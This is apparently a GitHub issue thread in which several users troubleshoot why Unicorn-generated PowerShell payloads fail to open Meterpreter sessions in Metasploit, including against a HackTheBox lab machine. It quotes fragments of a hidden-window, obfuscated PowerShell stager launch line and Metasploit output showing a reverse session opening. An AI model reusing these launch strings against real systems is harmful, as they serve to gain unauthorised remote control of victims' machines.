unicorn.rc: Exploit completed, but no session was created

Question

unicorn.rc: Exploit completed, but no session was created

Closed this issue 4 years ago · 18 comments

on metasploit v5.0.84-dev
The attached unicorn.rc fails to execute properly.
I believe the Stager Listener is failing to run?
Resulting in a background job waiting for proper MeterPreter connection, which never comes.

Attached is my output from running the generated unicorn.rc, and the `powershell_Attack.txt'

willing to look into the issue myself, if you can point me in the right direction.

Thanks!
powershell_attack.txt
unicorn.rc.txt
MSFOutput.txt

Answer 1 · 2020-04-16T05:18:39.000Z

I am having issues getting my callbacks also with this recent deployment. Searching through the code if I could find what the fix is - might want to choose a tree that works.

Answer 2 · 2020-04-20T02:30:55.000Z

Same issue, when the machine execute the powershell code, it returns lots of numbers

Answer 3 · 2020-04-26T14:47:36.000Z

The numbers are normal. I'm not able to reproduce, unfortunately.. What OS are you testing on? Mines on a Windows 10 64 and 32 bit.

msf5 exploit(multi/handler) > 
[*] https://172.16.253.142:443 handling request from 172.16.253.128; (UUID: lndmltkx) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 1 opened (172.16.253.142:443 -> 172.16.253.128:49744) at 2020-04-26 10:46:51 -0400

Answer 4 · 2020-04-26T14:49:59.000Z

Do me a favor and change the first part of the code that you have pasted there from:

powershell /w 1 /C "s''v gG -;s''v awT e''c;s''v YtZ ((g''v gG).value.toString()+(g''v awT).value.toString());powershell (g''v YtZ).value.toString()

To this:

powershell /w 1 /C "sv gG -;sv awT ec;sv YtZ ((gv gG).value.toString()+(gv awT).value.toString());powershell (gv YtZ).value.toString()

Let me know if that works.

Answer 5 · 2020-04-26T15:28:58.000Z

Actually, just pull the latest version of Unicorn (just updated it) and give it a shot again.

Answer 6 · 2020-04-26T17:51:52.000Z

Was running in Kali Linux 64bit
Sadly I'm unable to retest, until after Tuesday.
My machine broke, and I'm waiting on parts

Answer 7 · 2020-04-29T10:33:25.000Z

I checked and it doesn't work even after pulling the latest release from here. I even tried editing the txt file and still, no success. rev_http, rev_tcp or rev_https doesn't work on any open port

Answer 8 · 2020-05-04T15:30:47.000Z

When the machine execute the powershell code, it returns lots of numbers, no shell. Im trying this out on the retired machine "Arctic" from HackTheBox. 100% consistent

Answer 9 · 2020-05-04T15:34:18.000Z

Here's the config
OS Name: Microsoft Windows Server 2008 R2 Standard
OS Version: 6.1.7600 N/A Build 7600
x64 based PC

Answer 10 · 2020-05-05T03:05:58.000Z

I'm suspecting it has something to do with meterpreter, i tried out version2.8 of unicorn and same results. There's a video by ippsec on youtube where he has it working in the year 2017 with all the latest stuff available then.

Answer 11 · 2020-05-05T03:06:42.000Z

Framework: 5.0.71-dev
Console : 5.0.71-dev
Is my current metasploit config

Answer 12 · 2020-05-06T14:31:39.000Z

I haven't personally tested on 2008 R2, I've successfully tested on Windows 10. I'll spin up a VM and test on 2008.

Answer 13 · 2020-05-23T04:59:11.000Z

Thanks dave.

Answer 14 · 2020-06-16T20:50:44.000Z

same problem here, never get a shell on metasploit v5.0.91-dev (windows 10 ENT 1909 build 18363.418 and windows 2012R2), running it in powershell ISE gives me this

powershell : At line:1 char:820
At line:1 char:1

powershell /w 1 /C "sv gG -;sv awT ec;sv YtZ ((gv gG).value.toString( ...

  + CategoryInfo          : NotSpecified: (At line:1 char:820